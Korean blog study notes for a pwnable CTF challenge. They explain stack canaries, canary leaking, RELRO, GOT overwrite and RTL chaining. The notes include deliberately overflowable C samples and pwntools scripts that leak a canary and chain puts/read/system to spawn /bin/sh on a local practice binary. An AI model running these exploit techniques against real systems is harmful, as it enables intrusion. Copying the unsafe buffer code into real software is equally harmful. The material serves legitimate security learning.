sf3 해결을 위한 사전 공부 |
sf3 문제를 풀이하는 순서는 다음과 같다.
1. 카나리 우회 후 RET overwrite
2. GOT overwrite 로 외부함수를 호출
3. RTL chaining
따라서 이 세가지 개념에 대해 먼저 학습해볼 것이다.
먼저 Got overwrite는 쉽게 말해서 got 에 있는 함수를 공격자가 원하는 함수로 덮어씌워서 사용하는 방식의 공격을 말하는데 이전 시간에 공부해보았었다.
https://man-25-1.tistory.com/193
이번 실습에서 overwrite하는 방법은 조금 다르지만 개념은 동일하기때문에 패스.
Canary 보호기법이란?
메모리 보호 기법 중 하나로 스택프레임과 스택 변수 사이에 특정한 값을 추가해서 BOF가 발생했는지 감지하는 기법
canary가 위와 같이 스택프레임과 스택 변수사이에 위치하게 되면서 공격자가 RET를 조작하기위해 BOF 공격을 시도할 때, canary값이 먼저 덮어지게 된다. 따라서 canary값의 변조 유무를 통해 bof 공격을 탐지할 수 있다.
간단한 코드를 통해 canary 가 작동하는 과정을 알아보자.
** canary.c #include <stdio.h> int main() { int i,j,k; char overflow[12]; printf("hello world\n"); gets(overflow); } |
위의 코드는 12바이트의 버퍼에 입력을 받기때문에 버퍼와 RET ,SFP를 채우는 20바이트 이상의 입력을 주면
BOF가 발생할 것이다.
한번 입력을 넣어보면 아래와 같이 stack smashing detected 라는 문구가 뜬다.
그럼 실제로 canary가 어떻게 작동하는지 그 원리를 알아보자
main을 까보면 아래와 같은데
pwndbg> disass main Dump of assembler code for function main: 0x00000000004005d6 <+0>: push rbp 0x00000000004005d7 <+1>: mov rbp,rsp 0x00000000004005da <+4>: sub rsp,0x40 0x00000000004005de <+8>: mov DWORD PTR [rbp-0x34],edi 0x00000000004005e1 <+11>: mov QWORD PTR [rbp-0x40],rsi 0x00000000004005e5 <+15>: mov rax,QWORD PTR fs:0x28 0x00000000004005ee <+24>: mov QWORD PTR [rbp-0x8],rax 0x00000000004005f2 <+28>: xor eax,eax 0x00000000004005f4 <+30>: mov edi,0x4006b4 0x00000000004005f9 <+35>: call 0x400490 <puts@plt> 0x00000000004005fe <+40>: lea rax,[rbp-0x30] 0x0000000000400602 <+44>: mov rdi,rax 0x0000000000400605 <+47>: mov eax,0x0 0x000000000040060a <+52>: call 0x4004c0 <gets@plt> 0x000000000040060f <+57>: mov eax,0x0 0x0000000000400614 <+62>: mov rdx,QWORD PTR [rbp-0x8] 0x0000000000400618 <+66>: xor rdx,QWORD PTR fs:0x28 0x0000000000400621 <+75>: je 0x400628 <main+82> 0x0000000000400623 <+77>: call 0x4004a0 <__stack_chk_fail@plt> 0x0000000000400628 <+82>: leave 0x0000000000400629 <+83>: ret End of assembler dump. |
fs:0x28 에서 canary를 가져와서 * [rbp-0x8]에 저장해두었다가
rdx로 가져와서 기존의 fs:0x28의 값과 xor연산을 통해 변조되었는지 확인하고
변조되었을시 stack_chk_fail 함수를 호출하는 것이다.
0x00000000004005e5 <+15>: mov rax,QWORD PTR fs:0x28
에 bp를 걸고 실행해서 rax 레지스터를 살펴보면 아래와 같이 특정 세그먼트에서 canary를 받아온 모습을 확인할 수 있다. 주목해야할 것은 canary 문자열의 마지막은 항상 0x00 즉 NULL 문자라는 것인데, 그 이유는 문자열이기때문에
같이 출력되지않도록 NULL 문자가 끝에 있는 것이다.
버퍼를 초과하는 입력을 주었을때 canary 변수가 어떻게 변조되는지 확인해보자.
우선 스택을 살펴보면 아래와 같은 구조이다.
지역변수에 대한 공간과 canary 에 해당하는 8바이트를 위해 32바이트만큼 스택프레임을 만든다
0x4005d6 <main> push rbp 0x4005d7 <main+1> mov rbp, rsp 0x4005da <main+4> sub rsp, 0x20 0x4005de <main+8> mov rax, qword ptr fs:[0x28] ► 0x4005e7 <main+17> mov qword ptr [rbp - 8], rax 0x4005eb <main+21> xor eax, eax 0x4005ed <main+23> mov edi, 0x4006b4 0x4005f2 <main+28> call puts@plt <puts@plt> 0x4005f7 <main+33> lea rax, [rbp - 0x20] 0x4005fb <main+37> mov rdi, rax 0x4005fe <main+40> mov eax, 0 |
main+4의 sub rsp,0x20 명령어를 통해 32바이트 크기의 스택프레임이 형성되고
그 후 아래와 같이 스택이 형성된다.
스택포인터에서 80바이트를 긁어보면 익숙한 문자열이 보이는데
아까 RAX에 담겨있던 8바이트의 canary 문자열이다.
스택포인터로부터 24바이트 떨어진곳에 canary가 위치하는것을 확인할 수 있다.
여기서 입력에 bof를 위해 버퍼의 크기를 초과하는 A 문자열을 주면
이렇게 canary가 먼저 변조된 것을 확인할 수 있다. 이 변조된 값과 원래 canary 두 값의 xor연산을 통해 bof가 탐지되는것이다.
Canary 무력화
시스템 해킹을 공부하는 입장이므로 이번엔 canary를 어떻게 무력화할 수 있을지 고민해보자.
disassemble 해보았을때, canary 가 변조된 것을 xor 연산을 통해 탐지하는 원리였다.
따라서 당연하게도 canary를 무력화하는 방법은 canary 문자열을 변조하지않고 공격하는 것이다.
어떻게 변조하지않고 공격을 할 수 있을까?
바로 canary 문자열을 leak하면된다.
1. canary를 leak 한 후에,
2. bof를 터뜨리는 페이로드를 작성할 때
3. canary 문자열에 해당하는 부분을 임의의 문자가 아니라 leak 한 canary로 덮어씌우면
4. 공격은 성공하지만 canary는 변조되지않기때문에 무력화가 가능하다.
아래의 코드를 통해 간단하게 실습을 진행해보자
void vuln() { char buf[0x10]; //first bof printf("first : "); read(0, buf, 0x40); printf("first input : %s\n",buf); //second bof printf("second : "); read(0, buf, 0x40); printf("second input : %s\n",buf); } |
보다싶이 두번의 bof가 터지는 코드인데, 이것을 통해서 canary를 leak 할 수 있다.
처음 first input으로 17개의 A를 넣으면 스택이 아래와 같은 모습이다.
여기서 형광색칠한 0x05b90a00 이 canary 문자열인데 현재 A를 통해 덮여있다.
따라서 원래의 canary는 첫 바이트가 null 이기때문에 buf를 출력해도 카나리가 출력되지않지만
첫번쨰 bof에서 canary의 첫 널 바이트를 특정 문자로 덮어주었기때문에 두번째 bof에서는 카나리 또한
출력이 될 것이다.
p = process('./b') p.recvuntil(b"first : ") pay = '' pay += 'A' * 16 # for buffer pay += 'B' #for canary first byte p.sendline(pay) p.recvuntil(b"B") leak = p.recv(3) # read first 3 byte of canary canary = b"\x00"+leak print("leak canary @",hex(u32(canary))) input() p.interactive() |
위와 같은 익스코드를 짜서 실행해주었더니
canary 문자열을 leak했다.
따라서 leak한 canary를 공격페이로드에 넣어주면 canary가 변조되지않는 공격을 할 수 있게 되는 것이다.
RELRO 보호기법
RELocation Read Only 라는 의미로 데이터가 배치된 메모리의 특정 부분에 읽기전용(Read-Only) 권한을
부여하는 기법이다.
쓰기 권한이 없기때문에 메모리에 배치되어 있는 데이터를 변경하지 못하도록 보호한다.
1. No RELRO
이름에서 알 수 있듯, read-only 속성이 부여되지 않은 상태
따라서 해당 메모리의 데이터를 변경할 수 있다.
2. Partial RELRO
메모리의 부분에만 read-only 속성을 부여한 상태이다.
3. FULL RELRO
전부 read-only 속성이 부여된 상태이다.
RELRO 속성을 확인했을때 1,2 번이라면 GOT Overwrite 공격이 가능하고 , 3번일경우에는 GOT영역이 모두 읽기 권한만 있으므로 GOT overwrite 공격이 불가능하다.
RTL-Chaining
이번 문제 풀이에 가장 핵심이 되는 개념인 RTL chaining 이다.
**chain.c #include <stdio.h> void vuln(); int main(void) { setvbuf(stdin,0,2,0); setvbuf(stdout,0,2,0); vuln(); return 0; } void vuln(){ char name[0x10]; printf("payload: "); read(0,name,0x100); puts("done."); } |
말 그대로 RTL 을 체인처럼 연속적으로 수행한다는 의미이다.
아래의 스택 그림을 통해 이해해보자
일반적인 RTL 공격이라면 BOF 를 통해 RET 를 공격자가 원하는 함수의 주소로 변조시키는 것이다.
따라서 위와 같은 경우 FUNC1 을 호출하는 코드가 된다.
이때 RTL Chaining 이란 FUNC1 의 return 을 통해 다시 또 다른 함수 FUNC2 를 수행시키고자 하는 것이다.
RET는 POP eip, jmp eip 로 이루어진 명령어이다.
따라서 현재 스택이 가리키고 있는 주소를 eip에 넣어서 eip의 명령을 수행하게 된다.
그럼 FUNC1의 RET 에 무엇이 들어가야 FUNC2 로 갈 수 있을까?
바로 POP gadget이다. 스택 포인터가 가리키는 값을 한칸 올려서 FUNC2 를 호출하는 값을 가리키게 하는 것이다
마찬가지로 RET OF FUNC2 에도 pop gadget 을 넣어주면 RTL chaining이 가능하다.
여기서 만약 함수의 인자가 여러개라면 인자의 개수만큼 pop gadget을 넣어주면 된다.
이것이 RTL chaining의 개념이고, 각각의 func 을 어떻게 구성할지를 전략적으로 잘 생각해야한다.
그럼 한번 위의 chain.c 에서 쉘을 따내는 익스를 짜보자
p = process('./chain1') #canary leak (이번 문제에선 편의를 위해 canary off) #사용하고자 하는 함수의 plt & got read_plt = 0x8048390 printf_plt = 0x80483a0 puts_plt = 0x80483b0 read_got = 0x804a00c printf_got = 0x804a010 puts_got = 0x804a014 #gadget #pay pay = b'' pay += b"A" * 0x18 pay += b'XXXX' pay += p32(puts_plt) #func1 에 해당하는 함수 호출 pay += b'YYYY' #func1 을 호출하고 난 뒤 반환 pay += p32(read_got) #func1 에 대한 호출 인자 p.send(pay) p.interactive() |
먼저 위와 같이 익스를 짜면 func1 에 해당하는 함수는 puts함수가 되고
read_got 가 출력되고 프로그램이 종료될 것이다. 보기쉽게 스택에 나타내보면 아래의 그림이다.
read got가 출력되는 것을 확인할 수 있다.
이제 어떻게 RTL chain을 구성할지 크게 전략을 생각해보면 다음과 같다.
1. puts 함수를 호출해서 read got를 출력한다
2. read 함수를 호출해서 got overwrite 를 통해 puts 함수를 system 함수로 덮어씌운다
3. 다시 puts 함수를 호출하면 system 함수가 호출되고 쉘을 따낸다.
이렇게 공격 페이로드를 구성한다면 내가 원하는 스택의 모습은 아래의 그림이다.
대략적으로 익스를 짠 코드
p = process('./chain1') #canary leak (이번 문제에선 편의를 위해 canary off) #사용하고자 하는 함수의 plt & got read_plt = 0x8048390 printf_plt = 0x80483a0 puts_plt = 0x80483b0 read_got = 0x804a00c printf_got = 0x804a010 puts_got = 0x804a014 #gadget pr = ppr = #pay pay = b'' pay += b"A" * 0x18 pay += b'XXXX' pay += p32(puts_plt) #func1 에 해당하는 함수 호출 pay += p32(pr) #esp를 인자개수만큼 옮겨주기 위해 pop 가젯 사용 pay += p32(read_got) #func1 에 대한 호출 인자 pay += p32(read_plt) #func2 에 해당하는 함수 호출 pay += p32(pppr) # 인자개수가 3개이므로 pop 3개 가젯 사용 pay += p32(0) pay += p32(puts_got) pay += p32(0x100) #호출한 func2 ==> read(0,puts_got,0x100) pay += p32(puts_plt) # puts_plt를 호출할시 system이 호출됨 pay += b'YYYY' # dummy data pay += p32(puts_got+4) # bin/sh 문자열을 써놓은 주소 #호출한 func3 => system("/bin/sh") p.send(pay) #func1 -> func2 -> func3 순서로 진행 #func1 에서 puts(read_got) 가 되므로 read함수의 got address가 출력될 것 #이것을 이용해서 base 알아내기 p.recvuntil("done.\n") libc_base = u32(p.recv(4)) - read offset libc_system = base + sys offset #func2의 read함수의 입력에 대한 두번째 payload #puts_got 영역에 덮어씌우는 것이므로 system의 주소를 넣어야함 pay2 ='' pay2 += p32(system) # --> got overwrite 되어 system 호출 pay2 += b"bin/sh/" # puts_got 주소의 다음 4바이트에 문자열 bin/sh 넣어두기 p.send(pay2) p.interactive() |
최종 익스 코드
from pwn import * p = process('./chain1') #canary leak #plt & got read_plt = 0x8048390 printf_plt = 0x80483a0 puts_plt = 0x80483b0 read_got = 0x804a00c printf_got = 0x804a010 puts_got = 0x804a014 #gadget pr = 0x080485db pppr = 0x080485d9 #pay pay = b'' pay += b"A" * 0x18 pay += b'XXXX' pay += p32(puts_plt) pay += p32(pr) pay += p32(read_got) pay += p32(read_plt) pay += p32(pppr) pay += p32(0) pay += p32(puts_got) pay += p32(0x100) pay += p32(puts_plt) pay += b'AAAA' pay += p32(puts_got+4) p.send(pay) #func address p.recvuntil("done.\n") leak = u32(p.recv(4)) libc_base = leak - 0x0d5c20 libc_system = libc_base + 0x03adb0 #pay2 for got overwrite pay2 =b'' pay2 += p32(libc_system) pay2 += b"/bin/sh\x00" p.send(pay2) p.interactive() |
결과
'개인 공부 > 포너블' 카테고리의 다른 글
C컴파일 과정과 PLT와 GOT (0) | 2022.01.08 |
---|
댓글